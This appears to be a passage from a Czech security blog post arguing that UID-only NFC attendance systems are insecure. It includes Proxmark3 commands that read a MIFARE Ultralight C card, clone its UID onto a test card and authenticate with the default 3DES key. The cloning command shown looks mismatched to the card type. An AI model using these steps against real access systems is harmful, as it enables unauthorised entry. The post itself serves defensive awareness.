git clone https://github.com/RfidResearchGroup/proxmark3.git
cd proxmark3
.\mingw64.ps1
make clean && make all

Win. Instalace ovladačů

1. Připojte Proxmark3 do USB portu
2. Otevřete Správce zařízení (Device Manager)
3. Najděte zařízení označené jako "Proxmark3"
4. Klikněte pravým tlačítkem a zvolte "Aktualizovat ovladač"
5. Vyberte "Procházet počítač s ovladačem"
6. Navigujte do složky proxmark3\driver\win64
7. Potvrďte instalaci ovladače

Win. Ověření instalace

1. Otevřete PowerShell v adresáři proxmark3
2. Spusťte příkaz:

   .\pm3.exe -p COM3

   Poznámka: COM3 může být jiné číslo, zkontrolujte ve Správci zařízení správný COM port

Win. Analýza původní karty

Pro získání informací o originální kartě použijeme následující příkazy:

[PM3] --> hf mfu info
[+] Tag information for MIFARE Ultralight C
[+] UID: 04C5A1122A3480
[+] ATQA: 0044
[+] SAK: 00
[+] Card type: MIFARE Ultralight C
[+] Signature valid: true
[+] Block 0: 04C5A112
[+] Block 1: 2A3480A1
[+] Block 2: BA981248
[+] Pages total: 48
[+] Page size: 4 bytes

Win. Význam parametrů

SAK (Select Acknowledge)

• Jednobajtová hodnota identifikující typ karty
• Pro Mifare Ultralight C je SAK = 00
• Čtečka používá SAK k určení typu karty a jejích schopností
• Nesprávný SAK může vést k odmítnutí karty čtečkou

ATQA (Answer To Request Type A)

• Dvoubajtová hodnota (v našem případě 0044)
• Indikuje:
  • Typ kartové platformy
  • Komunikační schopnosti karty
  • Velikost UID (single, double, triple)
• Pro Mifare Ultralight C je standardní hodnota ATQA = 0044

Win. Vytvoření testovací karty

Pro úplnou emulaci musíme nastavit všechny parametry:

[PM3] --> hf mf csetuid 04C5A1122A3480 --atqa 0044 --sak 00
[+] Setting UID: 04C5A1122A3480
[+] Setting ATQA: 0044
[+] Setting SAK: 00
[+] Success

Řešení běžných problémů ve Windows

Win. Problém s COM portem

• Řešení: Zkontrolujte ve Správci zařízení správné číslo COM portu
• Případně zkuste odpojit a znovu připojit zařízení

Win. Chyba při kompilaci

• Řešení: Ujistěte se, že máte nainstalované všechny požadované komponenty Visual Studia
• Zkuste spustit make clean před novou kompilací

Win. Ovladač není podepsaný

• Řešení: Dočasně vypněte vynucení podpisu ovladačů v režimu spouštění Windows
• Nebo použijte testovací režim Windows

Win. Problémy s právy

• Řešení: Ujistěte se, že PowerShell běží jako administrátor
• Zkontrolujte práva v složce instalace

4.4 Pokročilé zabezpečení

4.4.1 3DES Autentizace

Mifare Ultralight C podporuje 3DES autentizaci, která by měla být implementována v každém bezpečném systému:

[PM3] --> hf mfu auth k 49454D4B41455242214E4143554F5946
[+] Authentication successful

Proces 3DES autentizace zahrnuje:

1. Generování náhodného čísla kartou
2. Šifrování čísla čtečkou pomocí 3DES klíče
3. Verifikace správnosti šifrování kartou
4. Vzájemná autentizace

4.4.2 Ekonomické aspekty zabezpečení

Náklady na implementaci

1. Základní systém (pouze UID)

   • Hardware: 100-200€ na čtečku
   • Software: 500-1000€
   • Údržba: 100€/rok

2. Plné zabezpečení (3DES)

   • Hardware: 200-400€ na čtečku
   • Software: 2000-3000€
   • Údržba: 500€/rok

Návratnost investice

• Snížení rizika podvodu o 95%
• Ochrana reputace
• Snížení pojistných nákladů

4.4.3 Bezpečnostní doporučení

Pro maximální zabezpečení systému doporučujeme:

1. Implementace 3DES autentizace

   • Použití unikátních klíčů pro každou kartu
   • Pravidelná obměna klíčů
   • Monitoring neúspěšných pokusů o autentizaci

2. Zabezpečení paměti

   • Nastavení lock bitů pro kritické sektory
   • Implementace přístupových podmínek
   • Pravidelná kontrola integrity dat

3. Monitoring a auditing

   • Logování všech přístupů
   • Detekce neobvyklých vzorů použití
   • Systém automatických alertů

Závěr

Spoléhání pouze na UID představuje kritické bezpečnostní riziko, které může mít fatální následky pro organizaci. V praxi se setkáváme s alarmující situací, kdy IT oddělení a management firem vědomě ignorují dostupné bezpečnostní mechanismy z důvodu úspory nákladů nebo pohodlnosti implementace. Tento přístup je obdobný jako instalace bezpečnostních dveří a následné jejich nezamykání.

Bezpečnostní aspekty přístupových systémů vyžadují důkladnou analýzu implementovaných technologií a jejich potenciálních zranitelností. Přestože komponenty přístupových systémů zpravidla disponují certifikací Národního bezpečnostního úřadu (NBÚ), v praxi se stále setkáváme s nasazením technologicky nedostatečných identifikačních metod.

Současná praxe využívání RFID (Radio-Frequency Identification) technologie, především v podobě bezkontaktních čipových karet, vykazuje značné bezpečnostní nedostatky. Kritickým příkladem je široce rozšířená platforma MIFARE Classic, jejíž proprietární šifrovací algoritmus Crypto-1 byl kompromitován již v roce 2008. Analogicky, konkurenční řešení HID Prox prokázalo závažné bezpečnostní nedostatky v roce 2009, kdy byla dokumentována možnost duplikace identifikačních tokenů.

Zvláště alarmující je rozšířená praxe implementace přístupových systémů založených výhradně na čtení unikátního identifikátoru karty (UID), která zcela opomíjí dostupné kryptografické zabezpečení. Tato metodika představuje významné bezpečnostní riziko.

Pro zajištění adekvátní úrovně zabezpečení je esenciální implementace moderních přístupových systémů využívajících robustní kryptografické algoritmy (3DES, AES). Doporučenými technologickými řešeními jsou například MIFARE DESFire EV1 nebo HID iCLASS, které reprezentují současný standard v oblasti fyzické bezpečnosti a kontroly přístupu.

Problémy současné praxe

• IT oddělení často volí nejjednodušší řešení bez ohledu na bezpečnostní dopady
• Management není ochoten investovat do "neviditelných" bezpečnostních opatření
• Bezpečnostní incidenty jsou často řešeny až po jejich vzniku
• Chybí proaktivní přístup k bezpečnosti

Důsledky nedbalého přístupu

• Přímé finanční ztráty dosahující milionů korun
• Poškození reputace firmy
• Ztráta důvěry zákazníků a partnerů
• Právní následky při úniku citlivých dat
• Zvýšené náklady na následné řešení incidentů

Výzva k změně

Implementace plných bezpečnostních mechanismů není volitelným luxusem, ale nezbytností v současném bezpečnostním prostředí. Je kritické, aby organizace:

1. Přehodnotily svůj přístup k zabezpečení
2. Implementovaly dostupné bezpečnostní mechanismy v plném rozsahu
3. Pravidelně školily zaměstnance v oblasti bezpečnosti
4. Prováděly pravidelné bezpečnostní audity

Náklady na prevenci jsou vždy výrazně nižší než potenciální škody způsobené bezpečnostním incidentem. V době, kdy jsou útoky na přístupové systémy stále sofistikovanější, si žádná organizace nemůže dovolit ignorovat základní bezpečnostní principy z důvodu domnělé úspory nákladů.

Srovnání nákladů

Základní implementace (pouze UID)

• Počáteční náklady: 50 000 Kč
• Roční údržba: 10 000 Kč
• Riziko incidentu: Vysoké
• Potenciální škody: 1-10 milionů Kč

Plná implementace (3DES)

• Počáteční náklady: 200 000 Kč
• Roční údržba: 50 000 Kč
• Riziko incidentu: Minimální
• Potenciální škody: <100 000 Kč

The post Špatné zabezpečení NFC docházkových systémů UID-only autentizace first appeared on Hard Wired.